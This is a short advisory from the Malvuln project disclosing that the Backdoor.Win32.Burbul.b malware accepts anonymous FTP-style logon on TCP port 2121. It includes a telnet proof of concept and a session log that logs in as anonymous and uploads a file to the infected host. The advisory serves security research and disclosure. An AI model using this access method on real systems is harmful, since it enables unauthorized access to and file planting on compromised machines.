Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/3ee4cb2e06eb1f7fe54c89db903f3e7a.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Burbul.b
Vulnerability: Anonymous Logon
Description: Backdoor Burbul.b listens on TCP port 2121 allowing anonymous logon credentials to access the infected host E.g. USER anonymous PASS anonymous.
Type: PE32
MD5: 3ee4cb2e06eb1f7fe54c89db903f3e7a
Vuln ID: MVID-2021-0093
Dropped files: 
Disclosure: 02/16/2021

Exploit/PoC:
TELNET [Backdoored_Host] 2121

╟Σα≡α±≥≤Θ≥σ ≤Γαµασ∞√Θ ⌡α÷Ωσ≡.. ╟αßσ≡αΘ≥σ Γ±σ ≈≥ε ±≈Φ≥ασ≥σ φ≤µφ√∞...                                                     
USER anonymous                                                                                                          
331 Password required for anonymous.                                                                                    
PASS anonymous                                                                                                          
230 User anonymous logged in.                                                                                           
HELP                                                                                                                    
500 'HELP': command not understood.                                                                                     
CWD                                                                                                                     
250 CWD command successful. "C:/TEMP/" is current directory.                                                            
PASV                                                                                                                    
227 Entering Passive Mode (192,168,1,10,196,100).                                                                     
STOR 1.js                                                                                                               
150 Opening data connection for 1.js.                                                                                   
PASV                                                                                                                    
226 File received ok                                                                                                    
227 Entering Passive Mode (192,168,88,128,196,101). 

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